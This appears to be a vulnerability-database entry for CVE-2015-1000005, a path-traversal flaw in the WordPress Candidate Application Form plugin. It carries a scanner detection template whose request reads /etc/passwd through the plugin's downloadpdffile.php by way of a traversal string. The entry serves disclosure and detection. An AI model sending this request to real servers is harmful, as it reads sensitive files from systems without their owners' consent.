WordPress Candidate Application Form <= 1.3 - Local File Inclusion
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | Wordpress candidate-application-form plugin file download vulnerability | 20 Oct 201600:00 | – | cnvd |
 | CVE-2015-1000005 | 6 Oct 201614:00 | – | cve |
 | CVE-2015-1000005 | 6 Oct 201614:00 | – | cvelist |
 | WordPress Candidate Application Form <= 1.3 - Local File Inclusion Detection | 28 Jul 202611:27 | – | kittysploit |
 | CVE-2015-1000005 | 6 Oct 201614:59 | – | nvd |
 | WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP) | 20 Nov 202000:00 | – | openvas |
 | Remote file inclusion | 6 Oct 201614:59 | – | prion |
 | PT-2016-3573 | 6 Oct 201600:00 | – | ptsecurity |
 | CVE-2015-1000005: Improper Limitation of a Pathname to a Restricted Directory | 6 Oct 201600:00 | – | rapid7 |
 | Candidate Application Form <= 1.3 - Unauthenticated Arbitrary File Download | 12 Jul 201500:00 | – | wpexploit |
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id: CVE-2015-1000005
info:
name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion
author: dhiyaneshDK
severity: high
description: |
WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server.
remediation: |
Update to the latest version of the plugin.
reference:
- https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
- https://nvd.nist.gov/vuln/detail/CVE-2015-1000005
- http://www.vapidlabs.com/advisory.php?v=142
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2015-1000005
cwe-id: CWE-22
epss-score: 0.08598
epss-percentile: 0.95084
cpe: cpe:2.3:a:candidate-application-form_project:candidate-application-form:1.0:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: candidate-application-form_project
product: candidate-application-form
framework: wordpress
tags: cve2015,cve,wpscan,wordpress,wp-plugin,lfi,wp,candidate-application-form_project,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 490a0046304402203172bd8346c74be5643ab4166b930b1877efba7dc070b5126e7d8f1857683fd4022070ee23c8fb3913008660fb69f5ad89dcc0c233999f38f2d46b49f8e35a2f0a41:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
7.7High risk
Vulners AI Score7.7
CVSS 25
CVSS 37.5
EPSS0.08598